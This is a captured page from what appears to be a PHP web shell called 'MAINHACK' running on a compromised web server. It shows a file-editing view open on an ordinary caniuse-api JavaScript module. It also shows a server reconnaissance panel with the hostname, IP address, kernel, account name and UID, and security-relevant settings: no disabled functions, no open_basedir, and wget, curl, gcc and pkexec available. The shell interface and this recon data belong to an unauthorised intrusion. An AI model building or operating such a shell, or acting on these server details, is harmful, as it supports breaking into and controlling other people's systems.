[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.getBrowserScope = exports.setBrowserScope = exports.getLatestStableBrowsers = exports.find = exports.isSupported = exports.getSupport = exports.features = undefined; var _lodash = require("lodash.memoize"); var _lodash2 = _interopRequireDefault(_lodash); var _browserslist = require("browserslist"); var _browserslist2 = _interopRequireDefault(_browserslist); var _caniuseLite = require("caniuse-lite"); var _utils = require("./utils"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var featuresList = Object.keys(_caniuseLite.features); var browsers = void 0; function setBrowserScope(browserList) { browsers = (0, _utils.cleanBrowsersList)(browserList); } function getBrowserScope() { return browsers; } var parse = (0, _lodash2.default)(_utils.parseCaniuseData, function (feat, browsers) { return feat.title + browsers; }); function getSupport(query) { var feature = void 0; try { feature = (0, _caniuseLite.feature)(_caniuseLite.features[query]); } catch (e) { var res = find(query); if (res.length === 1) return getSupport(res[0]); throw new ReferenceError("Please provide a proper feature name. Cannot find " + query); } return parse(feature, browsers); } function isSupported(feature, browsers) { var data = void 0; try { data = (0, _caniuseLite.feature)(_caniuseLite.features[feature]); } catch (e) { var res = find(feature); if (res.length === 1) { data = _caniuseLite.features[res[0]]; } else { throw new ReferenceError("Please provide a proper feature name. Cannot find " + feature); } } return (0, _browserslist2.default)(browsers, { ignoreUnknownVersions: true }).map(function (browser) { return browser.split(" "); }).every(function (browser) { return data.stats[browser[0]] && data.stats[browser[0]][browser[1]] === "y"; }); } function find(query) { if (typeof query !== "string") { throw new TypeError("The `query` parameter should be a string."); } if (~featuresList.indexOf(query)) { // exact match return query; } return featuresList.filter(function (file) { return (0, _utils.contains)(file, query); }); } function getLatestStableBrowsers() { return (0, _browserslist2.default)("last 1 version"); } setBrowserScope(); exports.features = featuresList; exports.getSupport = getSupport; exports.isSupported = isSupported; exports.find = find; exports.getLatestStableBrowsers = getLatestStableBrowsers; exports.setBrowserScope = setBrowserScope; exports.getBrowserScope = getBrowserScope;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002